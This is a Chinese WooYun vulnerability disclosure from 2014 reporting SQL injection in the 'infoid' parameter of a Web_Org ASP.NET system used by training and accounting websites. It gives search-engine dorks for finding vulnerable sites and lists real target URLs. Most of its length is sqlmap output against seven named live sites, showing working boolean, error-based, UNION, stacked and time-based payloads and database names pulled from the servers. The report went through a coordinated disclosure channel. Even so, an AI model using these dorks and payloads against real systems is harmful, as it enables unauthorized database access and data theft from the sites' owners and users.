当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-070228

漏洞标题:某不知名系统多处sql注入漏洞

相关厂商:某系统

漏洞作者: Mosuan

提交时间:2014-07-30 16:04

修复时间:2014-10-28 16:06

公开时间:2014-10-28 16:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-30: 细节已通知厂商并且等待厂商处理中
2014-08-04: 厂商已经确认,细节仅向厂商公开
2014-08-07: 细节向第三方安全合作伙伴开放
2014-09-28: 细节向核心白帽子及相关领域专家公开
2014-10-08: 细节向普通白帽子公开
2014-10-18: 细节向实习白帽子公开
2014-10-28: 细节向公众公开

简要描述:

rt

详细说明:

WooYun: 某未知应用通用sql注入一枚 看完大牛的漏洞,买车买房娶媳妇.......
搜索还有几个会计网站,呵呵。
关键词

inurl:/Web_Org/
inurl:Web_Org/Notice_info.aspx?infoid=


搜索到的网站在url后面加上Web_Org/Notice_info.aspx?infoid=1.
还有很多类似的注入
参数都是infoid
比如:http://www.zhiyuan-peixun.com/Web_Org/news_info.aspx?infoid=204
http://www.zhiyuan-peixun.com/Web_Org/St_Son_Index.aspx?infoid=4013%27
http://www.zhiyuan-peixun.com/Web_Org/course_info.aspx?infoid=4105%27
http://www.zhiyuan-peixun.com/Web_Org/LiveCourse_info.aspx?infoid=6%27
http://www.zhiyuan-peixun.com/Web_Org/Tch_Info.aspx?infoid=2026%27
还有很多很多.....具体的自己排查吧
疯狗说举例5个就行了。
第一个

注入地址:http://www.gxkjks.com/Web_Org/Notice_info.aspx?infoid=29
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:55:23
[00:55:23] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.gxkjks.com\session' as session file
[00:55:24] [INFO] testing connection to the target url
[00:55:25] [INFO] testing if the url is stable, wait a few seconds
[00:55:28] [INFO] url is stable
[00:55:28] [INFO] testing if GET parameter 'infoid' is dynamic
[00:55:30] [INFO] confirming that GET parameter 'infoid' is dynamic
[00:55:31] [WARNING] GET parameter 'infoid' appears to be not dynamic
[00:55:33] [INFO] heuristic test shows that GET parameter 'infoid' might be inje
ctable (possible DBMS: Microsoft SQL Server)
[00:55:33] [INFO] testing sql injection on GET parameter 'infoid'
[00:55:33] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:55:40] [INFO] GET parameter 'infoid' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
parsed error message(s) showed that the back-end DBMS could be Microsoft SQL Ser
ver. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[00:55:49] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[00:55:50] [INFO] GET parameter 'infoid' is 'Microsoft SQL Server/Sybase AND err
or-based - WHERE or HAVING clause' injectable
[00:55:50] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:56:03] [INFO] GET parameter 'infoid' is 'Microsoft SQL Server/Sybase stacked
queries' injectable
[00:56:03] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:56:16] [INFO] GET parameter 'infoid' is 'Microsoft SQL Server/Sybase time-ba
sed blind' injectable
[00:56:16] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:56:19] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[00:56:28] [INFO] target url appears to have 11 columns in query
[00:56:33] [INFO] GET parameter 'infoid' is 'Generic UNION query (NULL) - 1 to 1
0 columns' injectable
GET parameter 'infoid' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 21 HTTP(s) requ
ests:
---
Place: GET
Parameter: infoid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: infoid=29 AND 9705=9705
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: infoid=29 AND 4700=CONVERT(INT,(CHAR(58)+CHAR(116)+CHAR(110)+CHAR(1
16)+CHAR(58)+(SELECT (CASE WHEN (4700=4700) THEN CHAR(49) ELSE CHAR(48) END))+CH
AR(58)+CHAR(105)+CHAR(106)+CHAR(119)+CHAR(58)))
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: infoid=29 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL
, NULL, NULL, CHAR(58)+CHAR(116)+CHAR(110)+CHAR(116)+CHAR(58)+CHAR(116)+CHAR(74)
+CHAR(113)+CHAR(101)+CHAR(115)+CHAR(89)+CHAR(112)+CHAR(85)+CHAR(81)+CHAR(118)+CH
AR(58)+CHAR(105)+CHAR(106)+CHAR(119)+CHAR(58), NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: infoid=29; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: infoid=29 WAITFOR DELAY '0:0:5'--
---
[00:57:00] [INFO] testing Microsoft SQL Server
[00:57:01] [INFO] confirming Microsoft SQL Server
[00:57:05] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2008
[00:57:05] [INFO] fetching database names
available databases [1]:
[*] master
[00:57:06] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 20 times
[00:57:06] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.gxkjks.com'
[*] shutting down at 00:57:06


第二个

注入地址:http://www.ndddpx.com/Web_Org/Notice_info.aspx?infoid=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:57:08
[00:57:08] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.ndddpx.com\session' as session file
[00:57:09] [INFO] testing connection to the target url
[00:57:09] [WARNING] the web server responded with an HTTP error code (500) whic
h could interfere with the results of the tests
[00:57:09] [INFO] testing if the url is stable, wait a few seconds
[00:57:11] [INFO] url is stable
[00:57:11] [INFO] testing if GET parameter 'infoid' is dynamic
[00:57:12] [WARNING] GET parameter 'infoid' appears to be not dynamic
[00:57:13] [INFO] heuristic test shows that GET parameter 'infoid' might be inje
ctable (possible DBMS: Microsoft SQL Server)
[00:57:13] [INFO] testing sql injection on GET parameter 'infoid'
[00:57:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
parsed error message(s) showed that the back-end DBMS could be Microsoft SQL Ser
ver. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[00:57:24] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[00:57:27] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:57:40] [INFO] GET parameter 'infoid' is 'Microsoft SQL Server/Sybase stacked
queries' injectable
[00:57:40] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:57:51] [INFO] GET parameter 'infoid' is 'Microsoft SQL Server/Sybase time-ba
sed blind' injectable
[00:57:51] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:57:52] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[00:57:55] [INFO] target url appears to have 11 columns in query
[00:57:56] [INFO] GET parameter 'infoid' is 'Generic UNION query (NULL) - 1 to 1
0 columns' injectable
GET parameter 'infoid' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 28 HTTP(s) requ
ests:
---
Place: GET
Parameter: infoid
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: infoid=1 UNION ALL SELECT NULL, NULL, CHAR(58)+CHAR(122)+CHAR(120)+
CHAR(118)+CHAR(58)+CHAR(102)+CHAR(77)+CHAR(98)+CHAR(121)+CHAR(82)+CHAR(117)+CHAR
(107)+CHAR(111)+CHAR(105)+CHAR(101)+CHAR(58)+CHAR(118)+CHAR(119)+CHAR(112)+CHAR(
58), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: infoid=1; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: infoid=1 WAITFOR DELAY '0:0:5'--
---
[00:58:21] [INFO] testing Microsoft SQL Server
[00:58:22] [INFO] confirming Microsoft SQL Server
[00:58:24] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[00:58:24] [INFO] fetching database names
available databases [1]:
[*] master
[00:58:25] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 32 times
[00:58:25] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.ndddpx.com'
[*] shutting down at 00:58:25


第三个

注入地址:http://www.jzkjpx.cn/Web_Org/Notice_info.aspx?infoid=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:58:36
[00:58:36] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.jzkjpx.cn\session' as session file
[00:58:36] [INFO] testing connection to the target url
[00:58:37] [WARNING] the web server responded with an HTTP error code (500) whic
h could interfere with the results of the tests
[00:58:37] [INFO] testing if the url is stable, wait a few seconds
[00:58:39] [INFO] url is stable
[00:58:39] [INFO] testing if GET parameter 'infoid' is dynamic
[00:58:39] [WARNING] GET parameter 'infoid' appears to be not dynamic
[00:58:40] [INFO] heuristic test shows that GET parameter 'infoid' might be inje
ctable (possible DBMS: Microsoft SQL Server)
[00:58:40] [INFO] testing sql injection on GET parameter 'infoid'
[00:58:40] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
parsed error message(s) showed that the back-end DBMS could be Microsoft SQL Ser
ver. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[00:59:06] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[00:59:09] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:59:22] [INFO] GET parameter 'infoid' is 'Microsoft SQL Server/Sybase stacked
queries' injectable
[00:59:22] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:59:33] [INFO] GET parameter 'infoid' is 'Microsoft SQL Server/Sybase time-ba
sed blind' injectable
[00:59:33] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[00:59:34] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[00:59:39] [INFO] target url appears to have 11 columns in query
[00:59:42] [INFO] GET parameter 'infoid' is 'Generic UNION query (NULL) - 1 to 1
0 columns' injectable
GET parameter 'infoid' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 29 HTTP(s) requ
ests:
---
Place: GET
Parameter: infoid
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: infoid=1 UNION ALL SELECT NULL, CHAR(58)+CHAR(103)+CHAR(101)+CHAR(1
05)+CHAR(58)+CHAR(98)+CHAR(76)+CHAR(119)+CHAR(82)+CHAR(97)+CHAR(86)+CHAR(89)+CHA
R(104)+CHAR(98)+CHAR(114)+CHAR(58)+CHAR(115)+CHAR(116)+CHAR(102)+CHAR(58), NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: infoid=1; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: infoid=1 WAITFOR DELAY '0:0:5'--
---
[01:00:31] [INFO] testing Microsoft SQL Server
[01:00:32] [INFO] confirming Microsoft SQL Server
[01:00:35] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
[01:00:35] [INFO] fetching database names
available databases [1]:
[*] master
[01:00:36] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 37 times
[01:00:36] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.jzkjpx.cn'
[*] shutting down at 01:00:36


第四个

注入地址:http://gxzzck.com/Web_Org/Notice_info.aspx?infoid=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 00:59:11
[00:59:11] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\gxzzck.com\session' as session file
[00:59:11] [INFO] testing connection to the target url
[00:59:12] [WARNING] the web server responded with an HTTP error code (500) whic
h could interfere with the results of the tests
[00:59:12] [INFO] testing if the url is stable, wait a few seconds
[00:59:13] [INFO] url is stable
[00:59:13] [INFO] testing if GET parameter 'infoid' is dynamic
[00:59:14] [WARNING] GET parameter 'infoid' appears to be not dynamic
[00:59:15] [INFO] heuristic test shows that GET parameter 'infoid' might be inje
ctable (possible DBMS: Microsoft SQL Server)
[00:59:15] [INFO] testing sql injection on GET parameter 'infoid'
[00:59:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
parsed error message(s) showed that the back-end DBMS could be Microsoft SQL Ser
ver. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[01:00:17] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[01:00:21] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[01:00:33] [INFO] GET parameter 'infoid' is 'Microsoft SQL Server/Sybase stacked
queries' injectable
[01:00:33] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[01:00:45] [INFO] GET parameter 'infoid' is 'Microsoft SQL Server/Sybase time-ba
sed blind' injectable
[01:00:45] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[01:00:46] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[01:00:49] [INFO] target url appears to have 11 columns in query
[01:00:52] [INFO] GET parameter 'infoid' is 'Generic UNION query (NULL) - 1 to 1
0 columns' injectable
GET parameter 'infoid' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 29 HTTP(s) requ
ests:
---
Place: GET
Parameter: infoid
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: infoid=1 UNION ALL SELECT NULL, NULL, NULL, CHAR(58)+CHAR(116)+CHAR
(115)+CHAR(107)+CHAR(58)+CHAR(98)+CHAR(102)+CHAR(84)+CHAR(102)+CHAR(104)+CHAR(10
9)+CHAR(78)+CHAR(114)+CHAR(107)+CHAR(118)+CHAR(58)+CHAR(118)+CHAR(114)+CHAR(98)+
CHAR(58), NULL, NULL, NULL, NULL, NULL, NULL, NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: infoid=1; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: infoid=1 WAITFOR DELAY '0:0:5'--
---
[01:01:42] [INFO] testing Microsoft SQL Server
[01:01:43] [INFO] confirming Microsoft SQL Server
[01:01:45] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2008
[01:01:45] [INFO] fetching database names
available databases [1]:
[*] master
[01:01:46] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 31 times
[01:01:46] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\gxzzck.com'
[*] shutting down at 01:01:46


第五个

注入地址:http://webcourse.vixue.net/Web_Org/Notice_info.aspx?infoid=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 01:05:21
[01:05:21] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\webcourse.vixue.net\session' as session file
[01:05:22] [INFO] testing connection to the target url
[01:05:23] [WARNING] the web server responded with an HTTP error code (500) whic
h could interfere with the results of the tests
[01:05:23] [INFO] testing if the url is stable, wait a few seconds
[01:05:25] [INFO] url is stable
[01:05:25] [INFO] testing if GET parameter 'infoid' is dynamic
[01:05:26] [WARNING] GET parameter 'infoid' appears to be not dynamic
[01:05:28] [INFO] heuristic test shows that GET parameter 'infoid' might be inje
ctable (possible DBMS: Microsoft SQL Server)
[01:05:28] [INFO] testing sql injection on GET parameter 'infoid'
[01:05:28] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
parsed error message(s) showed that the back-end DBMS could be Microsoft SQL Ser
ver. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[01:05:41] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[01:05:45] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[01:05:57] [INFO] GET parameter 'infoid' is 'Microsoft SQL Server/Sybase stacked
queries' injectable
[01:05:57] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[01:06:09] [INFO] GET parameter 'infoid' is 'Microsoft SQL Server/Sybase time-ba
sed blind' injectable
[01:06:09] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[01:06:11] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[01:06:15] [INFO] target url appears to have 11 columns in query
[01:06:26] [WARNING] if UNION based SQL injection is not detected, please consid
er usage of option '--union-char' (e.g. --union-char=1) and/or try to force the
back-end DBMS (e.g. --dbms=mysql)
[01:06:26] [INFO] checking if the injection point on GET parameter 'infoid' is a
false positive
GET parameter 'infoid' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 52 HTTP(s) requ
ests:
---
Place: GET
Parameter: infoid
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: infoid=1; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: infoid=1 WAITFOR DELAY '0:0:5'--
---
[01:06:45] [INFO] testing Microsoft SQL Server
[01:06:45] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[01:06:50] [INFO] confirming Microsoft SQL Server
[01:06:57] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
[01:06:57] [INFO] fetching database names
[01:06:57] [INFO] fetching number of databases
[01:06:57] [INFO] retrieved:
[01:07:03] [INFO] adjusting time delay to 4 seconds due to good response times
11
[01:07:12] [INFO] retrieved:
[01:07:16] [INFO] retrieved:
[01:07:20] [INFO] retrieved:
[01:07:23] [INFO] retrieved:
[01:07:27] [INFO] retrieved:
[01:07:30] [INFO] retrieved:
[01:07:33] [INFO] retrieved:
[01:07:37] [INFO] retrieved:
[01:07:40] [INFO] retrieved:
[01:07:44] [INFO] retrieved:
[01:07:48] [INFO] retrieved:
[01:07:51] [INFO] falling back to current database
[01:07:51] [INFO] fetching current database
[01:07:51] [INFO] retrieved: Timber_Exam_Org_beijing
available databases [1]:
[*] Timber_Exam_Org_beijing
[01:16:05] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 239 times, 999 (?) - 99 times
[01:16:05] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\webcourse.vixue.net'
[*] shutting down at 01:16:05


第六个

注入地址:http://www.zhiyuan-peixun.com/Web_Org/Notice_Info.aspx?infoid=10
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 01:09:04
[01:09:04] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.zhiyuan-peixun.com\session' as session file
[01:09:04] [INFO] testing connection to the target url
[01:09:05] [INFO] testing if the url is stable, wait a few seconds
[01:09:08] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[01:09:09] [INFO] testing if GET parameter 'infoid' is dynamic
[01:09:09] [INFO] confirming that GET parameter 'infoid' is dynamic
[01:09:10] [WARNING] GET parameter 'infoid' appears to be not dynamic
[01:09:11] [INFO] heuristic test shows that GET parameter 'infoid' might be inje
ctable (possible DBMS: Microsoft SQL Server)
[01:09:11] [INFO] testing sql injection on GET parameter 'infoid'
[01:09:11] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:09:11] [WARNING] unknown web page charset 'gbk2312'. Please report by e-mail
to [email protected].
[01:09:11] [INFO] heuristics detected web page charset 'GB2312'
parsed error message(s) showed that the back-end DBMS could be Microsoft SQL Ser
ver. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[01:09:35] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[01:09:37] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[01:09:54] [CRITICAL] unable to connect to the target url or proxy, sqlmap is go
ing to retry the request
[01:09:54] [WARNING] most probably web server instance hasn't recovered yet from
previous timed based payload. If the problem persists please wait for few minut
es and rerun without flag T in option '--technique' (e.g. --flush-session --tech
nique=BEUS) or try to lower the value of option '--time-sec' (e.g. --time-sec=2)
[01:09:57] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[01:09:59] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[01:10:08] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[01:10:13] [INFO] target url appears to have 11 columns in query
[01:10:15] [INFO] GET parameter 'infoid' is 'Generic UNION query (NULL) - 1 to 1
0 columns' injectable
GET parameter 'infoid' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 42 HTTP(s) requ
ests:
---
Place: GET
Parameter: infoid
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: infoid=10 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, NULL
, NULL, NULL, NULL, CHAR(58)+CHAR(99)+CHAR(108)+CHAR(97)+CHAR(58)+CHAR(117)+CHAR
(114)+CHAR(75)+CHAR(112)+CHAR(66)+CHAR(65)+CHAR(82)+CHAR(101)+CHAR(84)+CHAR(107)
+CHAR(58)+CHAR(111)+CHAR(101)+CHAR(99)+CHAR(58)--
---
[01:10:16] [INFO] testing Microsoft SQL Server
[01:10:17] [INFO] confirming Microsoft SQL Server
[01:10:19] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 0
back-end DBMS: Microsoft SQL Server Unknown
[01:10:19] [INFO] fetching database names
[01:10:19] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a hidden switch '--no-cast' (fixing problems with some collation issue
s) and/or switch '--hex'
[01:10:19] [INFO] falling back to current database
[01:10:19] [INFO] fetching current database
[01:10:21] [CRITICAL] unable to retrieve the database names
[01:10:21] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 12 times
[*] shutting down at 01:10:21


第七个

注入地址:http://www.fenghuaedu.net/Web_Org/notice_info.aspx?infoid=11
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 01:10:47
[01:10:47] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\www.fenghuaedu.net\session' as session file
[01:10:47] [INFO] testing connection to the target url
[01:10:49] [INFO] testing if the url is stable, wait a few seconds
[01:10:51] [INFO] url is stable
[01:10:51] [INFO] testing if GET parameter 'infoid' is dynamic
[01:10:51] [INFO] confirming that GET parameter 'infoid' is dynamic
[01:10:52] [WARNING] GET parameter 'infoid' appears to be not dynamic
[01:10:53] [INFO] heuristic test shows that GET parameter 'infoid' might be inje
ctable (possible DBMS: Microsoft SQL Server)
[01:10:53] [INFO] testing sql injection on GET parameter 'infoid'
[01:10:53] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:10:57] [INFO] GET parameter 'infoid' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
parsed error message(s) showed that the back-end DBMS could be Microsoft SQL Ser
ver. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[01:11:10] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[01:11:11] [INFO] GET parameter 'infoid' is 'Microsoft SQL Server/Sybase AND err
or-based - WHERE or HAVING clause' injectable
[01:11:11] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[01:11:24] [INFO] GET parameter 'infoid' is 'Microsoft SQL Server/Sybase stacked
queries' injectable
[01:11:24] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[01:11:37] [INFO] GET parameter 'infoid' is 'Microsoft SQL Server/Sybase time-ba
sed blind' injectable
[01:11:37] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[01:11:41] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[01:11:46] [INFO] target url appears to have 11 columns in query
[01:11:52] [INFO] GET parameter 'infoid' is 'Generic UNION query (NULL) - 1 to 1
0 columns' injectable
GET parameter 'infoid' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 23 HTTP(s) requ
ests:
---
Place: GET
Parameter: infoid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: infoid=11 AND 3241=3241
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: infoid=11 AND 4799=CONVERT(INT,(CHAR(58)+CHAR(120)+CHAR(103)+CHAR(1
00)+CHAR(58)+(SELECT (CASE WHEN (4799=4799) THEN CHAR(49) ELSE CHAR(48) END))+CH
AR(58)+CHAR(122)+CHAR(114)+CHAR(99)+CHAR(58)))
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: infoid=11 UNION ALL SELECT CHAR(58)+CHAR(120)+CHAR(103)+CHAR(100)+C
HAR(58)+CHAR(111)+CHAR(119)+CHAR(73)+CHAR(97)+CHAR(104)+CHAR(111)+CHAR(65)+CHAR(
120)+CHAR(71)+CHAR(100)+CHAR(58)+CHAR(122)+CHAR(114)+CHAR(99)+CHAR(58), NULL, NU
LL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: infoid=11; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: infoid=11 WAITFOR DELAY '0:0:5'--
---
[01:11:54] [INFO] testing Microsoft SQL Server
[01:11:55] [INFO] confirming Microsoft SQL Server
[01:11:58] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[01:11:58] [INFO] fetching database names
available databases [1]:
[*] master
[01:11:59] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 21 times
[01:11:59] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\www.fenghuaedu.net'
[*] shutting down at 01:11:59


